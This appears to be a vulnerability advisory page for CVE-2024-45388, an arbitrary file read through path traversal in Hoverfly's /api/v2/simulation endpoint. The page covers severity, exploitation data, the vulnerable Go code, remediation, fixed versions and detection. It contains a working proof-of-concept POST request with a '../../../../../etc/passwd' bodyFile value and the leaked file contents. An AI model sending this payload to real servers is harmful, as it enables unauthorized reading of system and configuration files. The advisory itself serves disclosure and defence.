CVE-2024-45388 — hoverfly
HIGHCVE-2024-45388 is a high-severity (CVSS 7.5) Information Exposure vulnerability in github.com/spectolabs/hoverfly. 1 public exploit reference exists, so weaponization risk is real. A fix is available for github.com/spectolabs/hoverfly — see the affected versions and patch details below.
Arbitrary file read in the `/api/v2/simulation` endpoint in hoverfly (`GHSL-2023-274`)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-45388.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2024-45388 by exploitation likelihood (EPSS) against impact (CVSS). In the shaded patch-first corner (EPSS 50%+, CVSS 7.0+).
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the 50–90% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/spectolabs/hoverfly🐹github.com/SpectoLabs/hoverflyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Details
The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.
# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186
func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {
if filepath.IsAbs(filePath) {
return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath)
}
fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
if err != nil {
return "", err
}
return string(fileContents[:]), nil
}
Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files.
This issue was found using the Uncontrolled data used in path expression CodeQL query for python.
Proof of Concept
Send the following POST request to read the /etc/passwd file:
POST /api/v2/simulation HTTP/1.1
Host: localhost:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
{"data":{"pairs":[{
"request":{},"response": {
"bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}
Response will contain the Hoverfly's server /etc/passwd
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Tue, 19 Dec 2023 20:59:16 GMT
Content-Length: 1494
Connection: close
{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}
Impact
This issue may lead to Information Disclosure.
Remediation
The code is preventing absolute paths from being read. Make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/"))
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/spectolabs/hoverfly | all versions | 1.10.3go get github.com/spectolabs/hoverfly@v1.10.3 |
| 🐹Go | github.com/SpectoLabs/hoverfly | all versions | 1.10.3go get github.com/SpectoLabs/hoverfly@v1.10.3 |
Affected Products
hoverflyhoverflyResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/spectolabs/hoverfly, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/spectolabs/hoverfly to 1.10.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-45388 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
How to detect CVE-2024-45388
A community-maintained Nuclei template exists for this CVE. You can scan for it directly:
nuclei -id cve-2024-45388 -u https://target- Template
- Hoverfly < 1.10.3 - Arbitrary File Read
- Severity
- high
- Impact
- Unauthenticated attackers can read arbitrary files from the Hoverfly server including sensitive configuration data.
- Remediation
- Update Hoverfly to version 1.10.3 or later.
Template by ProjectDiscovery nuclei-templates (iamnoooob, rootxharsh, pdresearch), MIT licensed. View the full template. Scan only systems you are authorised to test.
Frequently Asked Questions
Is CVE-2024-45388 in your dependencies?
Find it across Go, including transitive dependencies.